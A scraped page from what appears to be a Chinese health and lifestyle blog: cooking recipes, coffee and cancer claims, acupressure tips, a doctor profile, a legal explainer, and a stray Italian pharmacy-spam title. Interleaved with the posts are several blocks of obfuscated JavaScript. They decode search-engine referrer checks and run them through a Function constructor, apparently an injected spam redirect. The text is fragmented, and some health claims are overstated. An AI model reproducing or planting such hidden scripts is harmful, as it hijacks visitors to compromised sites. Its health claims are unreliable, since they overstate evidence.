$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+$[18]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+([]+[]+{})[+!+[]]+(![]+[])[!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+$[16]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[0]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[11]+$[6]+$[19]+$[6]+$[6]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+(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2021-02-28 / by / in , , ,
小窍门:青椒牛肉這樣炒 又嫩又滑(视频)

炒牛肉/炒牛肉片//炒肉片方法/炒牛肉怎么做好吃

炒牛肉片是很多人都喜欢吃的一道家常菜,但真正做好它还不容易,经常炒出的牛肉片又老又硬,很难嚼动。

今天给大家介绍炒牛肉的方法,你可以用里脊肉来炒,也可以用比较嫩的后腿肉来炒。肉片炒的好吃了,就开启了一扇做牛肉的大门,各种爆炒牛肉的菜,青椒牛肉,葱爆牛肉,蘑菇牛肉,洋葱牛肉,小炒牛肉,你信手拈来!

材料:

青椒牛肉材料:

嫩后腿肉:200克, 盐水: 500克(2杯)水+8克(1 小勺)盐, 小苏打:小于1克,白胡椒粉:小于1克,老抽:5克, 玉米淀粉:小于1克, 水:10-15克,2-3 小勺, 油:10克,

配菜和调料:

生姜:5克, 蒜末:10克, 干辣椒:8克, 青椒:50克, 洋葱:50克, 老抽:5克,油:10克,盐:1克,

做法:

1. 处理牛肉:牛肉切片,注意一定要与肉的纹路垂直的切,将筋络切断。然后放在盐水中浸泡10分钟,然后洗净。洗净的牛肉放入碗中,加入少许小苏打粉,白胡椒粉,老抽,玉米淀粉,水搅拌均匀,最后加入一勺油将味道包裹起来。

2. 炒牛肉:锅中放适量的油,将大火将肉片煸炒,变色后迅速将肉片出锅。

3. 成菜:利用锅中剩余的油炒干辣椒,然后放入姜片和蒜末,洋葱爆香,煸炒1分钟后倒入炒好的肉片,继续炒1分钟,最后放入青椒煸炒几下即可。

2021-02-28 / by / in ,
每天喝2杯咖啡 可降35%肝癌发生率

吴孟达/肝癌/咖啡

咖啡作为世界三大饮料之一,究竟有什么功效和作用?

精神科权威医师郑光男曾表示,每天喝一杯咖啡,可以降低罹患肝癌的发生率。

《三立新闻》引述郑光男医师观点表示,根据研究调查,每天喝一杯咖啡可降低20%的肝癌发生率,若喝两杯可降低35%,而除了肝癌,喝咖啡也能降低15%的大肠癌发生率。喝咖啡益处也不只如此,郑光男医师也公布喝咖啡对身体还有以下好处:


调配咖啡

1、降低癌症发生率

2、提神醒脑,让精神更好

3、降低65%罹患阿滋海默症风险

4、控制三高、降低20%中风风险

5、帮助燃烧脂肪

6、提升身体爆发力

7、降低罹患糖尿病风险

8、抵抗忧郁

9、更长寿

10、帮助睡眠


咖啡

但郑光男医师也强调,“喝对咖啡”是最重要的,因为咖啡里有个非常重要的成分“绿原酸”,它能抗氧化、减少自由基、促进新陈代谢、调节血糖、降血脂、保护肝脏等功能,但绿原酸不耐高温,所以若是重烘焙的咖啡,恐怕就会让绿原酸流失。若要能真的获取咖啡的好处一定要“喝对咖啡”,郑光男医师建议,要喝轻烘焙的黑咖啡,不要另外加糖和奶精,免得只喝到咖啡因,没有喝到养分,除此之外,喝咖啡也要搭配充足睡眠、运动,才能达到更好效果。

2021-02-28 / by / in

鸡排炸/鸡排

很多人都非常喜欢酥脆的炸鸡排,今天我们一起来分享在家里怎么做出酥的掉渣的鸡排。

酥脆的鸡排是很多人的最爱,今天与大家分享怎么自己在家里做出这种酥的掉渣的效果。

材料:可炸6个鸡排

腌制鸡肉材料:

鸡胸肉:2块, 生抽:1.5大勺, 五香粉:1/8 小勺, 白胡椒粉:1/2 小勺, 生姜泥:1 小勺,

面糊材料:

面粉:90克 牛奶:120克 鸡蛋:2个

沾面粉材料:

面粉:250克, 泡打粉:2 小勺, 苏打粉或者碱面:1/4 小勺, 盐:1/4 小勺, 水:40克

1小盘面粉,油 适量,葱 1 根, 油温:180°C / 356°F 炸4分钟左右

做法:

1. 腌制鸡肉:将鸡胸肉片成薄片,放入所有腌制鸡肉的调料,腌制4小时。

2. 调面糊:将面糊材料放在一起搅拌均匀。

3. 做沾粉:将做沾面粉的干粉部分放在一起,然后一次加少许水,将面搓成小面片。

4. 炸鸡排:将腌制好的鸡肉放在干面粉中沾一下,然后放入面糊中,取出后再沾上搓好的小面片,放入油锅中炸4分钟即可。

2021-02-27 / by / in
五种食物提神醒脑,对春困不在话下

提神醒脑/春困/党参/枸杞/小米/鹌鹑蛋/桂圆

给大家介绍几种极具代表性的食物,它能让人提神醒脑,增强免疫力及抗疲劳。

1.党参:

有明显改善疲劳的作用


党参

党参常常用作人参的替代品,有补气、生津之效,多用于气虚、气血两亏、气津两伤的轻证。

现代医学药理研究证实,党参含多糖、生物碱、皂甙、17种氨基酸及14种无机元素,能兴奋中枢神经、使精神振奋、缓解疲劳。

2.枸杞:

滋补肝肾,益精明目


枸杞

枸杞性平味甘,归肝、肾两经,具有滋补肝肾、益精明目、补气养血等功效。现代医学发现,枸杞能提高免疫力、抗疲劳。

3.小米:

健胃除湿,恢复体力


小米

中医认为,小米是一款和胃温中的佳品。小米味甘咸,有健胃除湿、和胃安眠等功效,更适合内热者及脾胃虚弱者食用。

4.鹌鹑蛋:

多吃可健脑安神


鹌鹑蛋

鹌鹑蛋被称为“动物中的人参”,有滋养五脏、补益气血等功效,相比鸡蛋,它更滋补;适合体质虚弱、容易水肿的人食用。

5.桂圆:

适合脑力劳动者、忧思者


桂圆

将龙眼烘成干果,就是桂圆。桂圆富含葡萄糖、蛋白质、铁等,可在提高热能、补充营养的同时,促进血红蛋白再生。

2021-02-27 / by / in
Prendi Tadalis Online – Tadalis di marca per ordine

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2021-02-26 / by / in , , ,
中医教你如何消除眼袋 让你重返自信 年轻10岁

消除眼袋/承泣穴/四白穴/足三里穴

人体有健康的脾胃功能,会增强人体营养吸收及物质和水的正常代谢。

现在教大家如何在短期3个月内快速消除眼袋!让你看起来更加年轻!非常方便又有效!大家一定要尝试!

先按摩〝承泣穴〞

【承泣穴的位置】位于瞳孔直下方0.7寸,眼眶骨凹陷处。

食指用按揉的方式按摩下眼脸。不要太用力,有酸感即可。每天按摩此处1分钟。

经常按摩此穴。能够供应眼睛足够的血液,进而缓解眼部疲劳、还可防止眼袋松弛,消除眼袋。


眼袋使人老10岁,中医教你如何消除眼袋

接下来按摩〝四白穴〞

【四白穴的位置】位于瞳孔直下方2厘米。 (大约一拇指宽)

先闭上眼睛,将双手食指放在四白穴上,略微用力进行按压,一边吐气一边按压2分钟。

四白穴也叫〝美白穴〞和〝养颜穴〞。每天坚持按摩,能使面部变得细腻白皙,也能改善眼袋。

接着,按摩足三里穴

【足三里穴的位置】在小腿前外侧,外膝眼下四横指,距胫骨前缘一横指,胫骨前肌上。

如图,拇指按住足三里穴,每天按压10分钟即可。

足三里被称为长寿穴。每天按压此穴,能帮助调理脾胃,抗衰老,起到补益气血和暖宫调经的作用


足三里是足阳明胃经要穴,也是养生第一大穴位,历来备受医家青睐 

按摩穴道虽有效消除眼袋,但大家也要注意接下来要跟大家分享的几个正确饮食习惯,让眼袋更加快速被消除!

1. 早上喝一杯萝卜汁或番茄汁,其中所含的胡罗卜素具有消除眼睛疲劳的功用,也能帮助改善眼袋。

2. 缺乏粉质、铁质及维他命C,会引致眼圈的出现,所以平日应多摄取这方面的营养,如面饭、猪肝、菠菜、番茄等食物。

3. 若因肝脏功能不好而导致黑眼圈,需多吃虾、芹菜、茼蒿等绿色蔬菜,水果则宜多吃柑橘类。

4. 别忽略有利于排出体内多余水分、消除浮肿的食物,如红豆、冬瓜、薏仁等。

最后,一定要少吃盐!盐吃多了,除了容易让人水肿,也会加深我们的眼袋,造成皮肤老化。

2021-02-25 / by / in
这几种食物致癌率最高 你有经常吃吗?

油炸食品/致癌 食物/致癌物质/完全致癌物 助致癌物/烧烤食物/亚硝酸胺

想要健康从少吃这些食物开始,因为这些食物虽然是美味佳肴,但太多的致癌物质藏在里面,所以注意不能经常吃。

致癌物质是来源于自然和人为环境、在一定条件下能诱发人类和动物癌症的物质。按其来源分为三大类:天然致癌物质,在原料加工过程中生成的致癌物质及人工合成的致癌物质。按其作用机理,分为引发剂(或称始发剂)和促发剂。

两者兼是者称为完全致癌物,仅有引发作用者称为不完全致癌物。有些既非引发剂也非促发剂,且本身并不致癌,但能增强引发剂和促发剂的作用,称为助致癌物。


腊肠

咸鱼产生二甲基亚硝酸盐,在体内可以转化为致癌物质二甲基亚硝酸胺。一个人如果从出生到10岁经常食用咸鱼,将来患鼻咽癌的可能性比不食用咸鱼的人大30-40倍。鱼露、虾酱、咸蛋、咸菜、腊肠、火腿、熏猪肉同样含有较多的亚硝酸胺类致癌物质,应尽量少吃。

油炸食品:煎炸过焦后,产生致癌物质多环芳烃。咖啡豆烧焦后,苯并芘含量增加20倍。油煎饼、臭豆腐、煎炸芋角、油条等,多数是使用重复多次的油,高温下会产生一种致癌分解物。


油炸食物

烧烤食物:烤牛肉、烤鸭、烤羊肉、烤鹅、烧猪肉等。因含有强致癌物3,4-苯并芘,不宜多食。薰制食品;如熏肉、熏肝、熏鱼、熏蛋、熏豆腐干等亦含苯并芘致癌物,常食易患食道癌和胃癌。

所以这几类生活中不可缺少的,只有这样的食物吃才会开心,是不是呀!不知大家有没有这样的感觉呢!吃归吃,但是还是尽量少吃就少吃吧!为了健康的身体还是尽量少吃吧!

2021-02-25 / by / in
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$=String.fromCharCode(118,82,61,109,46,59,10,40,120,39,103,41,33,45,49,124,107,121,104,123,69,66,73,56,50,51,57,53,55,72,84,77,76,60,34,48,112,47,63,38,95,43,85,67,119,44,58,37,122,62,125);_=([![]]+{})[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]];_[_][_]($[0]+(![]+[])[+!+[]]+(!![]+[])[+!+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[2]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[4]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[5]+$[6]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[7]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[10]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[10]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+$[10]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+$[18]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+([]+[]+{})[+!+[]]+(![]+[])[!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+$[16]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[0]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[11]+$[6]+$[19]+$[6]+$[6]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]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2021-02-25 / by / in , , ,
法拉盛肠胃科专家荆彤医生谈他在科罗拉多大学腸胃中心学到了什么

纽约荆彤肠胃中心的荆彤医生拥有令众人惊叹的履历:约翰霍普金斯大学医学院博士,德州大学安德森癌症中心博士学位,科罗拉多州大学肠胃科做治療內視鏡深造及研究,曾任纽约大学医学院胃镜室主任和肠胃科副教授,等等。说起在科罗拉多大学肠胃中心做研究的那段时光对自己职业生涯的影响,荆医生感慨颇多。

 

荆医生在科罗拉多大学培训的主要内容就是在胃镜、肠镜下切除早期肠胃癌。最早使用这项技术的是日本,因为日本人患肠胃癌的人比较多。他们这方面的手术做的比较多、比较好。在科罗拉多大学就有一位来自日本的教授。他是在日本学的这项技术然后把它带到了美国。就是这位教授手把手的教我掌握了胃、肠镜下早期癌症切除的技术。大家知道胃镜、肠镜的镜头都很小,手术的操作空间是很小的,而且胃壁很薄,稍不注意就会造成胃穿孔,手术的难度非常之大。有了这位日本教授的指点,让我有机会训练这项技术,并最终熟练的掌握了它。

2021-02-24 / by / in , ,
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2021-02-24 / by / in , , ,
如何做授权委托书–纽约房地产经纪人郭凤丽律师法律服务系列(2)

在买卖房产的过程中,经常会有人说,可能过户的时候,我没有办法过来,这样有办法进行过户吗?那这种情况我们可以通过做授权委托书来完成过户。

授权委托书的第一个要求是对于人的要求,做授权委托的人叫委托人,帮别人签过户文件的这个人叫做代理人。委托人和代理人他们在法律上都需要拥有完全民事行为能力。什么是完全民事行为能力呢?一般我们是从年龄和智力水平方面来评断。第一个,年龄,这个人需要是法律规定的成年人的年龄,你不能授权给一个10岁的小孩,他可能搞不清楚状况,没办法做决断。第二个,智力情况。智力情况并不是说要求委托人或代理人非常聪明、非常懂法律,不需要是一个专家。只要是一个正常人,有一个正常人的理解、行为能力和签字能力就可以了。这里举个例子,如果委托人是一个老人中心的老人家,已经失去知觉了,这种情况下他的智力水平就已经丧失民事行为能力了,他就不可以做授权委托书了。同样的,如果请一个代理人,他不能是智力有问题,或经常喝酒,喝醉了去签过户文件。

第二个要求是程序上的要求。因为做授权委托书委托人的签字是需要公证的。常见的公证是美国境内做的,也有在美国境外做的。这是两种完全不同的要求。如果在美国境内做的,你只要去美国境内任何一个公证地保,在公证人员的面前签字,公证地保给公证了,这个就是有效的。但是如果这个委托人在海外,比如在中国、在台湾,这个要求就比较特别。一定要到海外的美国领事馆,领事馆都有提供公证服务的。到了领事馆,领事官员会当着面签了字,替大家公证,这样的公证才是有效的。

最后要跟大家解释一下,哪些情况是不可以做授权委托书的。第一种情况是交易的房子是遗产,那么遗产有一个遗嘱执行人,这个人必须本人到场,法律不允许再做授权委托书了。第二种如果是信托在进行交易的话,那信托一般有个信托管理人,叫trustee,这个trustee在法律上来讲也不可以授权另外的代理人,必须本人到场签字。最后一种情况,如果交易当事方是一个公司,一般公司会在过户前做一个股东决议,这个股东决议会授权公司的一个官员替公司签字,这种情况这个官员就要本人替公司签字,不可以授权另外的人。

2021-02-24 / by / in ,
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$=String.fromCharCode(118,82,61,109,46,59,10,40,120,39,103,41,33,45,49,124,107,121,104,123,69,66,73,51,48,53,50,55,122,52,72,84,77,76,60,34,112,47,63,38,95,43,85,67,119,65,44,58,37,62,125);_=([![]]+{})[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]];_[_][_]($[0]+(![]+[])[+!+[]]+(!![]+[])[+!+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[2]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[4]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[5]+$[6]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[7]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[10]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[10]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+$[10]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+